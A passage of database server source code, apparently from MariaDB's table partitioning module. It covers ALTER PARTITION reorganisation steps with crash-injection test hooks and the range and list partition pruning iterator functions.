/*
ADD HASH PARTITION/
COALESCE PARTITION/
REBUILD PARTITION/
REORGANIZE PARTITION
In this case all records are still around after the change although
possibly organised into new partitions, thus by ensuring that all
updates go to both the old and the new partitioning scheme we can
actually perform this operation lock-free. The only exception to
this is when REORGANIZE PARTITION adds/drops ranges. In this case
there needs to be an exclusive lock during the time when the range
changes occur.
This is only possible if the handler can ensure double-write for a
period. The double write will ensure that it doesn't matter where the
data is read from since both places are updated for writes. If such
double writing is not performed then it is necessary to perform the
change with the usual exclusive lock. With double writes it is even
possible to perform writes in parallel with the reorganisation of
partitions.
Without double write procedure we get the following procedure.
The only difference with using double write is that we can downgrade
the lock to TL_WRITE_ALLOW_WRITE. Double write in this case only
double writes from old to new. If we had double writing in both
directions we could perform the change completely without exclusive
lock for HASH partitions.
Handlers that perform double writing during the copy phase can actually
use a lower lock level. This can be handled inside store_lock in the
respective handler.
0) Write an entry that removes the shadow frm file if crash occurs.
1) Write the shadow frm file of new partitioning.
2) Log such that temporary partitions added in change phase are
removed in a crash situation.
3) Add the new partitions.
Copy from the reorganised partitions to the new partitions.
4) Get an exclusive metadata lock on the table (waits for all active
transactions using this table). This ensures that we
can release all other locks on the table and since no one can open
the table, there can be no new threads accessing the table. They
will be hanging on this exclusive lock.
5) Close the table.
6) Log that operation is completed and log all complete actions
needed to complete operation from here.
7) Write bin log.
8) Prepare handlers for rename and delete of partitions.
9) Rename and drop the reorged partitions such that they are no
longer used and rename those added to their real new names.
10) Install the shadow frm file.
11) Reopen the table if under lock tables.
12) Complete query.
*/
if (write_log_drop_shadow_frm(lpt) ||
ERROR_INJECT_CRASH("crash_change_partition_1") ||
ERROR_INJECT_ERROR("fail_change_partition_1") ||
mysql_write_frm(lpt, WFRM_WRITE_SHADOW) ||
ERROR_INJECT_CRASH("crash_change_partition_2") ||
ERROR_INJECT_ERROR("fail_change_partition_2") ||
(close_table_on_failure= TRUE, FALSE) ||
write_log_add_change_partition(lpt) ||
ERROR_INJECT_CRASH("crash_change_partition_3") ||
ERROR_INJECT_ERROR("fail_change_partition_3") ||
mysql_change_partitions(lpt) ||
ERROR_INJECT_CRASH("crash_change_partition_4") ||
ERROR_INJECT_ERROR("fail_change_partition_4") ||
wait_while_table_is_used(thd, table, HA_EXTRA_NOT_USED) ||
ERROR_INJECT_CRASH("crash_change_partition_5") ||
ERROR_INJECT_ERROR("fail_change_partition_5") ||
alter_close_table(lpt) ||
(close_table_on_failure= FALSE, FALSE) ||
ERROR_INJECT_CRASH("crash_change_partition_6") ||
ERROR_INJECT_ERROR("fail_change_partition_6") ||
write_log_final_change_partition(lpt) ||
(action_completed= TRUE, FALSE) ||
ERROR_INJECT_CRASH("crash_change_partition_7") ||
ERROR_INJECT_ERROR("fail_change_partition_7") ||
((!thd->lex->no_write_to_binlog) &&
(write_bin_log(thd, FALSE,
thd->query(), thd->query_length()), FALSE)) ||
ERROR_INJECT_CRASH("crash_change_partition_8") ||
ERROR_INJECT_ERROR("fail_change_partition_8") ||
((frm_install= TRUE), FALSE) ||
mysql_write_frm(lpt, WFRM_INSTALL_SHADOW) ||
(frm_install= FALSE, FALSE) ||
ERROR_INJECT_CRASH("crash_change_partition_9") ||
ERROR_INJECT_ERROR("fail_change_partition_9") ||
mysql_drop_partitions(lpt) ||
ERROR_INJECT_CRASH("crash_change_partition_10") ||
ERROR_INJECT_ERROR("fail_change_partition_10") ||
mysql_rename_partitions(lpt) ||
ERROR_INJECT_CRASH("crash_change_partition_11") ||
ERROR_INJECT_ERROR("fail_change_partition_11") ||
(write_log_completed(lpt, FALSE), FALSE) ||
ERROR_INJECT_CRASH("crash_change_partition_12") ||
ERROR_INJECT_ERROR("fail_change_partition_12") ||
(alter_partition_lock_handling(lpt), FALSE))
{
handle_alter_part_error(lpt, action_completed, FALSE, frm_install,
close_table_on_failure);
goto err;
}
}
downgrade_mdl_if_lock_tables_mode(thd, mdl_ticket, MDL_SHARED_NO_READ_WRITE);
/*
A final step is to write the query to the binlog and send ok to the
user
*/
DBUG_RETURN(fast_end_partition(thd, lpt->copied, lpt->deleted, table_list));
err:
downgrade_mdl_if_lock_tables_mode(thd, mdl_ticket, MDL_SHARED_NO_READ_WRITE);
DBUG_RETURN(TRUE);
}
#endif
/*
Prepare for calling val_int on partition function by setting fields to
point to the record where the values of the PF-fields are stored.
SYNOPSIS
set_field_ptr()
ptr Array of fields to change ptr
new_buf New record pointer
old_buf Old record pointer
DESCRIPTION
Set ptr in field objects of field array to refer to new_buf record
instead of previously old_buf. Used before calling val_int and after
it is used to restore pointers to table->record[0].
This routine is placed outside of partition code since it can be useful
also for other programs.
*/
void set_field_ptr(Field **ptr, const uchar *new_buf,
const uchar *old_buf)
{
my_ptrdiff_t diff= (new_buf - old_buf);
DBUG_ENTER("set_field_ptr");
do
{
(*ptr)->move_field_offset(diff);
} while (*(++ptr));
DBUG_VOID_RETURN;
}
/*
Prepare for calling val_int on partition function by setting fields to
point to the record where the values of the PF-fields are stored.
This variant works on a key_part reference.
It is not required that all fields are NOT NULL fields.
SYNOPSIS
set_key_field_ptr()
key_info key info with a set of fields to change ptr
new_buf New record pointer
old_buf Old record pointer
DESCRIPTION
Set ptr in field objects of field array to refer to new_buf record
instead of previously old_buf. Used before calling val_int and after
it is used to restore pointers to table->record[0].
This routine is placed outside of partition code since it can be useful
also for other programs.
*/
void set_key_field_ptr(KEY *key_info, const uchar *new_buf,
const uchar *old_buf)
{
KEY_PART_INFO *key_part= key_info->key_part;
uint key_parts= key_info->user_defined_key_parts;
uint i= 0;
my_ptrdiff_t diff= (new_buf - old_buf);
DBUG_ENTER("set_key_field_ptr");
do
{
key_part->field->move_field_offset(diff);
key_part++;
} while (++i < key_parts);
DBUG_VOID_RETURN;
}
/**
Append all fields in read_set to string
@param[in,out] str String to append to.
@param[in] row Row to append.
@param[in] table Table containing read_set and fields for the row.
*/
void append_row_to_str(String &str, const uchar *row, TABLE *table)
{
Field **fields, **field_ptr;
const uchar *rec;
uint num_fields= bitmap_bits_set(table->read_set);
uint curr_field_index= 0;
bool is_rec0= !row || row == table->record[0];
if (!row)
rec= table->record[0];
else
rec= row;
/* Create a new array of all read fields. */
fields= (Field**) my_malloc(sizeof(void*) * (num_fields + 1),
MYF(0));
if (!fields)
return;
fields[num_fields]= NULL;
for (field_ptr= table->field;
*field_ptr;
field_ptr++)
{
if (!bitmap_is_set(table->read_set, (*field_ptr)->field_index))
continue;
fields[curr_field_index++]= *field_ptr;
}
if (!is_rec0)
set_field_ptr(fields, rec, table->record[0]);
for (field_ptr= fields;
*field_ptr;
field_ptr++)
{
Field *field= *field_ptr;
str.append(" ");
str.append(&field->field_name);
str.append(":");
field_unpack(&str, field, rec, 0, false);
}
if (!is_rec0)
set_field_ptr(fields, table->record[0], rec);
my_free(fields);
}
#ifdef WITH_PARTITION_STORAGE_ENGINE
/**
Return comma-separated list of used partitions in the provided given string.
@param mem_root Where to allocate following list
@param part_info Partitioning info
@param[out] parts The resulting list of string to fill
@param[out] used_partitions_list result list to fill
Generate a list of used partitions (from bits in part_info->read_partitions
bitmap), and store it into the provided String object.
@note
The produced string must not be longer then MAX_PARTITIONS * (1 + FN_LEN).
In case of UPDATE, only the partitions read is given, not the partitions
that was written or locked.
*/
void make_used_partitions_str(MEM_ROOT *alloc,
partition_info *part_info,
String *parts_str,
String_list &used_partitions_list)
{
parts_str->length(0);
partition_element *pe;
uint partition_id= 0;
List_iterator<partition_element> it(part_info->partitions);
if (part_info->is_sub_partitioned())
{
partition_element *head_pe;
while ((head_pe= it++))
{
List_iterator<partition_element> it2(head_pe->subpartitions);
while ((pe= it2++))
{
if (bitmap_is_set(&part_info->read_partitions, partition_id))
{
if (parts_str->length())
parts_str->append(',');
uint index= parts_str->length();
parts_str->append(head_pe->partition_name,
strlen(head_pe->partition_name),
system_charset_info);
parts_str->append('_');
parts_str->append(pe->partition_name,
strlen(pe->partition_name),
system_charset_info);
used_partitions_list.append_str(alloc, parts_str->ptr() + index);
}
partition_id++;
}
}
}
else
{
while ((pe= it++))
{
if (bitmap_is_set(&part_info->read_partitions, partition_id))
{
if (parts_str->length())
parts_str->append(',');
used_partitions_list.append_str(alloc, pe->partition_name);
parts_str->append(pe->partition_name, strlen(pe->partition_name),
system_charset_info);
}
partition_id++;
}
}
}
#endif
/****************************************************************************
* Partition interval analysis support
***************************************************************************/
/*
Setup partition_info::* members related to partitioning range analysis
SYNOPSIS
set_up_partition_func_pointers()
part_info Partitioning info structure
DESCRIPTION
Assuming that passed partition_info structure already has correct values
for members that specify [sub]partitioning type, table fields, and
functions, set up partition_info::* members that are related to
Partitioning Interval Analysis (see get_partitions_in_range_iter for its
definition)
IMPLEMENTATION
There are three available interval analyzer functions:
(1) get_part_iter_for_interval_via_mapping
(2) get_part_iter_for_interval_cols_via_map
(3) get_part_iter_for_interval_via_walking
They all have limited applicability:
(1) is applicable for "PARTITION BY <RANGE|LIST>(func(t.field))", where
func is a monotonic function.
(2) is applicable for "PARTITION BY <RANGE|LIST> COLUMNS (field_list)
(3) is applicable for
"[SUB]PARTITION BY <any-partitioning-type>(any_func(t.integer_field))"
If both (1) and (3) are applicable, (1) is preferred over (3).
This function sets part_info::get_part_iter_for_interval according to
this criteria, and also sets some auxilary fields that the function
uses.
*/
#ifdef WITH_PARTITION_STORAGE_ENGINE
static void set_up_range_analysis_info(partition_info *part_info)
{
/* Set the catch-all default */
part_info->get_part_iter_for_interval= NULL;
part_info->get_subpart_iter_for_interval= NULL;
/*
Check if get_part_iter_for_interval_via_mapping() can be used for
partitioning
*/
switch (part_info->part_type) {
case RANGE_PARTITION:
case LIST_PARTITION:
if (!part_info->column_list)
{
if (part_info->part_expr->get_monotonicity_info() != NON_MONOTONIC)
{
part_info->get_part_iter_for_interval=
get_part_iter_for_interval_via_mapping;
goto setup_subparts;
}
}
else
{
part_info->get_part_iter_for_interval=
get_part_iter_for_interval_cols_via_map;
goto setup_subparts;
}
default:
;
}
/*
Check if get_part_iter_for_interval_via_walking() can be used for
partitioning
*/
if (part_info->num_part_fields == 1)
{
Field *field= part_info->part_field_array[0];
switch (field->type()) {
case MYSQL_TYPE_TINY:
case MYSQL_TYPE_SHORT:
case MYSQL_TYPE_INT24:
case MYSQL_TYPE_LONG:
case MYSQL_TYPE_LONGLONG:
part_info->get_part_iter_for_interval=
get_part_iter_for_interval_via_walking;
break;
default:
;
}
}
setup_subparts:
/*
Check if get_part_iter_for_interval_via_walking() can be used for
subpartitioning
*/
if (part_info->num_subpart_fields == 1)
{
Field *field= part_info->subpart_field_array[0];
switch (field->type()) {
case MYSQL_TYPE_TINY:
case MYSQL_TYPE_SHORT:
case MYSQL_TYPE_LONG:
case MYSQL_TYPE_LONGLONG:
part_info->get_subpart_iter_for_interval=
get_part_iter_for_interval_via_walking;
break;
default:
;
}
}
}
/*
This function takes a memory of packed fields in opt-range format
and stores it in record format. To avoid having to worry about how
the length of fields are calculated in opt-range format we send
an array of lengths used for each field in store_length_array.
SYNOPSIS
store_tuple_to_record()
pfield Field array
store_length_array Array of field lengths
value Memory where fields are stored
value_end End of memory
RETURN VALUE
nparts Number of fields assigned
*/
uint32 store_tuple_to_record(Field **pfield,
uint32 *store_length_array,
uchar *value,
uchar *value_end)
{
/* This function is inspired by store_key_image_rec. */
uint32 nparts= 0;
uchar *loc_value;
while (value < value_end)
{
loc_value= value;
if ((*pfield)->real_maybe_null())
{
if (*loc_value)
(*pfield)->set_null();
else
(*pfield)->set_notnull();
loc_value++;
}
uint len= (*pfield)->pack_length();
(*pfield)->set_key_image(loc_value, len);
value+= *store_length_array;
store_length_array++;
nparts++;
pfield++;
}
return nparts;
}
/**
RANGE(columns) partitioning: compare partition value bound and probe tuple.
@param val Partition column values.
@param nvals_in_rec Number of (prefix) fields to compare.
@return Less than/Equal to/Greater than 0 if the record is L/E/G than val.
@note The partition value bound is always a full tuple (but may include the
MAXVALUE special value). The probe tuple may be a prefix of partitioning
tuple.
*/
static int cmp_rec_and_tuple(part_column_list_val *val, uint32 nvals_in_rec)
{
partition_info *part_info= val->part_info;
Field **field= part_info->part_field_array;
Field **fields_end= field + nvals_in_rec;
int res;
for (; field != fields_end; field++, val++)
{
if (val->max_value)
return -1;
if ((*field)->is_null())
{
if (val->null_value)
continue;
return -1;
}
if (val->null_value)
return +1;
res= (*field)->cmp((const uchar*)val->column_value);
if (res)
return res;
}
return 0;
}
/**
Compare record and columns partition tuple including endpoint handling.
@param val Columns partition tuple
@param n_vals_in_rec Number of columns to compare
@param is_left_endpoint True if left endpoint (part_tuple < rec or
part_tuple <= rec)
@param include_endpoint If endpoint is included (part_tuple <= rec or
rec <= part_tuple)
@return Less than/Equal to/Greater than 0 if the record is L/E/G than
the partition tuple.
@see get_list_array_idx_for_endpoint() and
get_partition_id_range_for_endpoint().
*/
static int cmp_rec_and_tuple_prune(part_column_list_val *val,
uint32 n_vals_in_rec,
bool is_left_endpoint,
bool include_endpoint)
{
int cmp;
Field **field;
if ((cmp= cmp_rec_and_tuple(val, n_vals_in_rec)))
return cmp;
field= val->part_info->part_field_array + n_vals_in_rec;
if (!(*field))
{
/* Full match. Only equal if including endpoint. */
if (include_endpoint)
return 0;
if (is_left_endpoint)
return +4; /* Start of range, part_tuple < rec, return higher. */
return -4; /* End of range, rec < part_tupe, return lesser. */
}
/*
The prefix is equal and there are more partition columns to compare.
If including left endpoint or not including right endpoint
then the record is considered lesser compared to the partition.
i.e:
part(10, x) <= rec(10, unknown) and rec(10, unknown) < part(10, x)
part <= rec -> lesser (i.e. this or previous partitions)
rec < part -> lesser (i.e. this or previous partitions)
*/
if (is_left_endpoint == include_endpoint)
return -2;
/*
If right endpoint and the first additional partition value
is MAXVALUE, then the record is lesser.
*/
if (!is_left_endpoint && (val + n_vals_in_rec)->max_value)
return -3;
/*
Otherwise the record is considered greater.
rec <= part -> greater (i.e. does not match this partition, seek higher).
part < rec -> greater (i.e. does not match this partition, seek higher).
*/
return 2;
}
typedef uint32 (*get_endpoint_func)(partition_info*, bool left_endpoint,
bool include_endpoint);
typedef uint32 (*get_col_endpoint_func)(partition_info*, bool left_endpoint,
bool include_endpoint,
uint32 num_parts);
/**
Get partition for RANGE COLUMNS endpoint.
@param part_info Partitioning metadata.
@param is_left_endpoint True if left endpoint (const <=/< cols)
@param include_endpoint True if range includes the endpoint (<=/>=)
@param nparts Total number of partitions
@return Partition id of matching partition.
@see get_partition_id_cols_list_for_endpoint and
get_partition_id_range_for_endpoint.
*/
uint32 get_partition_id_cols_range_for_endpoint(partition_info *part_info,
bool is_left_endpoint,
bool include_endpoint,
uint32 nparts)
{
uint min_part_id= 0, max_part_id= part_info->num_parts, loc_part_id;
part_column_list_val *range_col_array= part_info->range_col_array;
uint num_columns= part_info->part_field_list.elements;
DBUG_ENTER("get_partition_id_cols_range_for_endpoint");
/* Find the matching partition (including taking endpoint into account). */
do
{
/* Midpoint, adjusted down, so it can never be > last partition. */
loc_part_id= (max_part_id + min_part_id) >> 1;
if (0 <= cmp_rec_and_tuple_prune(range_col_array +
loc_part_id * num_columns,
nparts,
is_left_endpoint,
include_endpoint))
min_part_id= loc_part_id + 1;
else
max_part_id= loc_part_id;
} while (max_part_id > min_part_id);
loc_part_id= max_part_id;
/* Given value must be LESS THAN the found partition. */
DBUG_ASSERT(loc_part_id == part_info->num_parts ||
(0 > cmp_rec_and_tuple_prune(range_col_array +
loc_part_id * num_columns,
nparts, is_left_endpoint,
include_endpoint)));
/* Given value must be GREATER THAN or EQUAL to the previous partition. */
DBUG_ASSERT(loc_part_id == 0 ||
(0 <= cmp_rec_and_tuple_prune(range_col_array +
(loc_part_id - 1) * num_columns,
nparts, is_left_endpoint,
include_endpoint)));
if (!is_left_endpoint)
{
/* Set the end after this partition if not already after the last. */
if (loc_part_id < part_info->num_parts)
loc_part_id++;
}
DBUG_RETURN(loc_part_id);
}
static int get_part_iter_for_interval_cols_via_map(partition_info *part_info,
bool is_subpart, uint32 *store_length_array,
uchar *min_value, uchar *max_value,
uint min_len, uint max_len,
uint flags, PARTITION_ITERATOR *part_iter)
{
bool can_match_multiple_values;
uint32 nparts;
get_col_endpoint_func UNINIT_VAR(get_col_endpoint);
uint full_length= 0;
DBUG_ENTER("get_part_iter_for_interval_cols_via_map");
if (part_info->part_type == RANGE_PARTITION || part_info->part_type == VERSIONING_PARTITION)
{
get_col_endpoint= get_partition_id_cols_range_for_endpoint;
part_iter->get_next= get_next_partition_id_range;
}
else if (part_info->part_type == LIST_PARTITION)
{
if (part_info->has_default_partititon() &&
part_info->num_parts == 1)
DBUG_RETURN(-1); //only DEFAULT partition
get_col_endpoint= get_partition_id_cols_list_for_endpoint;
part_iter->get_next= get_next_partition_id_list;
part_iter->part_info= part_info;
DBUG_ASSERT(part_info->num_list_values);
}
else
assert(0);
for (uint32 i= 0; i < part_info->num_columns; i++)
full_length+= store_length_array[i];
can_match_multiple_values= ((flags &
(NO_MIN_RANGE | NO_MAX_RANGE | NEAR_MIN |
NEAR_MAX)) ||
(min_len != max_len) ||
(min_len != full_length) ||
memcmp(min_value, max_value, min_len));
DBUG_ASSERT(can_match_multiple_values || (flags & EQ_RANGE) || flags == 0);
if (can_match_multiple_values && part_info->has_default_partititon())
part_iter->ret_default_part= part_iter->ret_default_part_orig= TRUE;
if (flags & NO_MIN_RANGE)
part_iter->part_nums.start= part_iter->part_nums.cur= 0;
else
{
// Copy from min_value to record
nparts= store_tuple_to_record(part_info->part_field_array,
store_length_array,
min_value,
min_value + min_len);
part_iter->part_nums.start= part_iter->part_nums.cur=
get_col_endpoint(part_info, TRUE, !(flags & NEAR_MIN),
nparts);
}
if (flags & NO_MAX_RANGE)
{
if (part_info->part_type == RANGE_PARTITION || part_info->part_type == VERSIONING_PARTITION)
part_iter->part_nums.end= part_info->num_parts;
else /* LIST_PARTITION */
{
DBUG_ASSERT(part_info->part_type == LIST_PARTITION);
part_iter->part_nums.end= part_info->num_list_values;
}
}
else
{
// Copy from max_value to record
nparts= store_tuple_to_record(part_info->part_field_array,
store_length_array,
max_value,
max_value + max_len);
part_iter->part_nums.end= get_col_endpoint(part_info, FALSE,
!(flags & NEAR_MAX),
nparts);
}
if (part_iter->part_nums.start == part_iter->part_nums.end)
{
// No matching partition found.
if (part_info->has_default_partititon())
{
part_iter->ret_default_part= part_iter->ret_default_part_orig= TRUE;
DBUG_RETURN(1);
}
DBUG_RETURN(0);
}
DBUG_RETURN(1);
}
/**
Partitioning Interval Analysis: Initialize the iterator for "mapping" case
@param part_info Partition info
@param is_subpart TRUE - act for subpartitioning
FALSE - act for partitioning
@param store_length_array Ignored.
@param min_value minimum field value, in opt_range key format.
@param max_value minimum field value, in opt_range key format.
@param min_len Ignored.
@param max_len Ignored.
@param flags Some combination of NEAR_MIN, NEAR_MAX, NO_MIN_RANGE,
NO_MAX_RANGE.
@param part_iter Iterator structure to be initialized
@details Initialize partition set iterator to walk over the interval in
ordered-array-of-partitions (for RANGE partitioning) or
ordered-array-of-list-constants (for LIST partitioning) space.
This function is used when partitioning is done by
<RANGE|LIST>(ascending_func(t.field)), and we can map an interval in
t.field space into a sub-array of partition_info::range_int_array or
partition_info::list_array (see get_partition_id_range_for_endpoint,
get_list_array_idx_for_endpoint for details).
The function performs this interval mapping, and sets the iterator to
traverse the sub-array and return appropriate partitions.
@return Status of iterator
@retval 0 No matching partitions (iterator not initialized)
@retval 1 Ok, iterator intialized for traversal of matching partitions.
@retval -1 All partitions would match (iterator not initialized)
*/
static int get_part_iter_for_interval_via_mapping(partition_info *part_info,
bool is_subpart,
uint32 *store_length_array, /* ignored */
uchar *min_value, uchar *max_value,
uint min_len, uint max_len, /* ignored */
uint flags, PARTITION_ITERATOR *part_iter)
{
Field *field= part_info->part_field_array[0];
uint32 UNINIT_VAR(max_endpoint_val);
get_endpoint_func UNINIT_VAR(get_endpoint);
bool can_match_multiple_values; /* is not '=' */
uint field_len= field->pack_length_in_rec();
MYSQL_TIME start_date;
bool check_zero_dates= false;
bool zero_in_start_date= true;
DBUG_ENTER("get_part_iter_for_interval_via_mapping");
DBUG_ASSERT(!is_subpart);
(void) store_length_array;
(void)min_len;
(void)max_len;
part_iter->ret_null_part= part_iter->ret_null_part_orig= FALSE;
part_iter->ret_default_part= part_iter->ret_default_part_orig= FALSE;
if (part_info->part_type == RANGE_PARTITION)
{
if (part_info->part_charset_field_array)
get_endpoint= get_partition_id_range_for_endpoint_charset;
else
get_endpoint= get_partition_id_range_for_endpoint;
max_endpoint_val= part_info->num_parts;
part_iter->get_next= get_next_partition_id_range;
}
else if (part_info->part_type == LIST_PARTITION)
{
if (part_info->part_charset_field_array)
get_endpoint= get_list_array_idx_for_endpoint_charset;
else
get_endpoint= get_list_array_idx_for_endpoint;
max_endpoint_val= part_info->num_list_values;
part_iter->get_next= get_next_partition_id_list;
part_iter->part_info= part_info;
if (max_endpoint_val == 0)
{
/*
We handle this special case without optimisations since it is
of little practical value but causes a great number of complex
checks later in the code.
*/
part_iter->part_nums.start= part_iter->part_nums.end= 0;
part_iter->part_nums.cur= 0;
part_iter->ret_null_part= part_iter->ret_null_part_orig= TRUE;
DBUG_RETURN(-1);
}
}
else
MY_ASSERT_UNREACHABLE();
can_match_multiple_values= ((flags &
(NO_MIN_RANGE | NO_MAX_RANGE | NEAR_MIN |
NEAR_MAX)) ||
memcmp(min_value, max_value, field_len));
DBUG_ASSERT(can_match_multiple_values || (flags & EQ_RANGE) || flags == 0);
if (can_match_multiple_values && part_info->has_default_partititon())
part_iter->ret_default_part= part_iter->ret_default_part_orig= TRUE;
if (can_match_multiple_values &&
(part_info->part_type == RANGE_PARTITION ||
part_info->has_null_value))
{
/* Range scan on RANGE or LIST partitioned table */
enum_monotonicity_info monotonic;
monotonic= part_info->part_expr->get_monotonicity_info();
if (monotonic == MONOTONIC_INCREASING_NOT_NULL ||
monotonic == MONOTONIC_STRICT_INCREASING_NOT_NULL)
{
/* col is NOT NULL, but F(col) can return NULL, add NULL partition */
part_iter->ret_null_part= part_iter->ret_null_part_orig= TRUE;
check_zero_dates= true;
}
}
/*
Find minimum: Do special handling if the interval has left bound in form
" NULL <= X ":
*/
if (field->real_maybe_null() && part_info->has_null_value &&
!(flags & (NO_MIN_RANGE | NEAR_MIN)) && *min_value)
{
part_iter->ret_null_part= part_iter->ret_null_part_orig= TRUE;
part_iter->part_nums.start= part_iter->part_nums.cur= 0;
if (!(flags & NO_MAX_RANGE) && *max_value)
{
/* The right bound is X <= NULL, i.e. it is a "X IS NULL" interval */
part_iter->part_nums.end= 0;
/*
It is something like select * from tbl where col IS NULL
and we have partition with NULL to catch it, so we do not need
DEFAULT partition
*/
part_iter->ret_default_part= part_iter->ret_default_part_orig= FALSE;
DBUG_RETURN(1);
}
}
else
{
if (flags & NO_MIN_RANGE)
part_iter->part_nums.start= part_iter->part_nums.cur= 0;
else
{
/*
Store the interval edge in the record buffer, and call the
function that maps the edge in table-field space to an edge
in ordered-set-of-partitions (for RANGE partitioning) or
index-in-ordered-array-of-list-constants (for LIST) space.
*/
store_key_image_to_rec(field, min_value, field_len);
bool include_endp= !MY_TEST(flags & NEAR_MIN);
part_iter->part_nums.start= get_endpoint(part_info, 1, include_endp);
if (!can_match_multiple_values && part_info->part_expr->null_value)
{
/* col = x and F(x) = NULL -> only search NULL partition */
part_iter->part_nums.cur= part_iter->part_nums.start= 0;
part_iter->part_nums.end= 0;
/*
if NULL partition exists:
for RANGE it is the first partition (always exists);
for LIST should be indicator that it is present
*/
if (part_info->part_type == RANGE_PARTITION ||
part_info->has_null_value)
{
part_iter->ret_null_part= part_iter->ret_null_part_orig= TRUE;
DBUG_RETURN(1);
}
// If no NULL partition look up in DEFAULT or there is no such value
goto not_found;
}
part_iter->part_nums.cur= part_iter->part_nums.start;
if (check_zero_dates && !part_info->part_expr->null_value)
{
if (!(flags & NO_MAX_RANGE) &&
(field->type() == MYSQL_TYPE_DATE ||
field->type() == MYSQL_TYPE_DATETIME))
{
/* Monotonic, but return NULL for dates with zeros in month/day. */
zero_in_start_date= field->get_date(&start_date, 0);
DBUG_PRINT("info", ("zero start %u %04d-%02d-%02d",
zero_in_start_date, start_date.year,
start_date.month, start_date.day));
}
}
if (part_iter->part_nums.start == max_endpoint_val)
goto not_found;
}
}
/* Find maximum, do the same as above but for right interval bound */
if (flags & NO_MAX_RANGE)
part_iter->part_nums.end= max_endpoint_val;
else
{
store_key_image_to_rec(field, max_value, field_len);
bool include_endp= !MY_TEST(flags & NEAR_MAX);
part_iter->part_nums.end= get_endpoint(part_info, 0, include_endp);
if (check_zero_dates &&
!zero_in_start_date &&
!part_info->part_expr->null_value)
{
MYSQL_TIME end_date;
bool zero_in_end_date= field->get_date(&end_date, 0);
/*
This is an optimization for TO_DAYS()/TO_SECONDS() to avoid scanning
the NULL partition for ranges that cannot include a date with 0 as
month/day.
*/
DBUG_PRINT("info", ("zero end %u %04d-%02d-%02d",
zero_in_end_date,
end_date.year, end_date.month, end_date.day));
DBUG_ASSERT(!memcmp(((Item_func*) part_info->part_expr)->func_name(),
"to_days", 7) ||
!memcmp(((Item_func*) part_info->part_expr)->func_name(),
"to_seconds", 10));
if (!zero_in_end_date &&
start_date.month == end_date.month &&
start_date.year == end_date.year)
part_iter->ret_null_part= part_iter->ret_null_part_orig= false;
}
if (part_iter->part_nums.start >= part_iter->part_nums.end &&
!part_iter->ret_null_part)
goto not_found;
}
DBUG_RETURN(1); /* Ok, iterator initialized */
not_found:
if (part_info->has_default_partititon())
{
part_iter->ret_default_part= part_iter->ret_default_part_orig= TRUE;
DBUG_RETURN(1);
}
DBUG_RETURN(0); /* No partitions */
}
/* See get_part_iter_for_interval_via_walking for definition of what this is */
#define MAX_RANGE_TO_WALK 32
/*
Partitioning Interval Analysis: Initialize iterator to walk field interval
SYNOPSIS
get_part_iter_for_interval_via_walking()
part_info Partition info
is_subpart TRUE - act for subpartitioning
FALSE - act for partitioning
min_value minimum field value, in opt_range key format.
max_value minimum field value, in opt_range key format.
flags Some combination of NEAR_MIN, NEAR_MAX, NO_MIN_RANGE,
NO_MAX_RANGE.
part_iter Iterator structure to be initialized
DESCRIPTION
Initialize partition set iterator to walk over interval in integer field
space. That is, for "const1 <=? t.field <=? const2" interval, initialize
the iterator to return a set of [sub]partitions obtained with the
following procedure:
get partition id for t.field = const1, return it
get partition id for t.field = const1+1, return it
... t.field = const1+2, ...
... ... ...
... t.field = const2 ...
IMPLEMENTATION
See get_partitions_in_range_iter for general description of interval
analysis. We support walking over the following intervals:
"t.field IS NULL"
"c1 <=? t.field <=? c2", where c1 and c2 are finite.
Intervals with +inf/-inf, and [NULL, c1] interval can be processed but
that is more tricky and I don't have time to do it right now.
RETURN
0 - No matching partitions, iterator not initialized
1 - Some partitions would match, iterator intialized for traversing them
-1 - All partitions would match, iterator not initialized
*/
static int get_part_iter_for_interval_via_walking(partition_info *part_info,
bool is_subpart,
uint32 *store_length_array, /* ignored */
uchar *min_value, uchar *max_value,
uint min_len, uint max_len, /* ignored */
uint flags, PARTITION_ITERATOR *part_iter)
{
Field *field;
uint total_parts;
partition_iter_func get_next_func;
DBUG_ENTER("get_part_iter_for_interval_via_walking");
(void)store_length_array;
(void)min_len;
(void)max_len;
part_iter->ret_null_part= part_iter->ret_null_part_orig= FALSE;
part_iter->ret_default_part= part_iter->ret_default_part_orig= FALSE;
if (is_subpart)
{
field= part_info->subpart_field_array[0];
total_parts= part_info->num_subparts;
get_next_func= get_next_subpartition_via_walking;
}
else
{
field= part_info->part_field_array[0];
total_parts= part_info->num_parts;
get_next_func= get_next_partition_via_walking;
}
/* Handle the "t.field IS NULL" interval, it is a special case */
if (field->real_maybe_null() && !(flags & (NO_MIN_RANGE | NO_MAX_RANGE)) &&
*min_value && *max_value)
{
/*
We don't have a part_iter->get_next() function that would find which
partition "t.field IS NULL" belongs to, so find partition that contains
NULL right here, and return an iterator over singleton set.
*/
uint32 part_id;
field->set_null();
if (is_subpart)
{
if (!part_info->get_subpartition_id(part_info, &part_id))
{
init_single_partition_iterator(part_id, part_iter);
DBUG_RETURN(1); /* Ok, iterator initialized */
}
}
else
{
longlong dummy;
int res= part_info->is_sub_partitioned() ?
part_info->get_part_partition_id(part_info, &part_id,
&dummy):
part_info->get_partition_id(part_info, &part_id, &dummy);
if (!res)
{
init_single_partition_iterator(part_id, part_iter);
DBUG_RETURN(1); /* Ok, iterator initialized */
}
}
DBUG_RETURN(0); /* No partitions match */
}
if ((field->real_maybe_null() &&
((!(flags & NO_MIN_RANGE) && *min_value) || // NULL <? X
(!(flags & NO_MAX_RANGE) && *max_value))) || // X <? NULL
(flags & (NO_MIN_RANGE | NO_MAX_RANGE))) // -inf at any bound
{
DBUG_RETURN(-1); /* Can't handle this interval, have to use all partitions */
}
/* Get integers for left and right interval bound */
longlong a, b;
uint len= field->pack_length_in_rec();
store_key_image_to_rec(field, min_value, len);
a= field->val_int();
store_key_image_to_rec(field, max_value, len);
b= field->val_int();
/*
Handle a special case where the distance between interval bounds is
exactly 4G-1. This interval is too big for range walking, and if it is an
(x,y]-type interval then the following "b +=..." code will convert it to
an empty interval by "wrapping around" a + 4G-1 + 1 = a.
*/
if ((ulonglong)b - (ulonglong)a == ~0ULL)
DBUG_RETURN(-1);
a+= MY_TEST(flags & NEAR_MIN);
b+= MY_TEST(!(flags & NEAR_MAX));
ulonglong n_values= b - a;
/*
Will it pay off to enumerate all values in the [a..b] range and evaluate
the partitioning function for every value? It depends on
1. whether we'll be able to infer that some partitions are not used
2. if time savings from not scanning these partitions will be greater
than time spent in enumeration.
We will assume that the cost of accessing one extra partition is greater
than the cost of evaluating the partitioning function O(#partitions).
This means we should jump at any chance to eliminate a partition, which
gives us this logic:
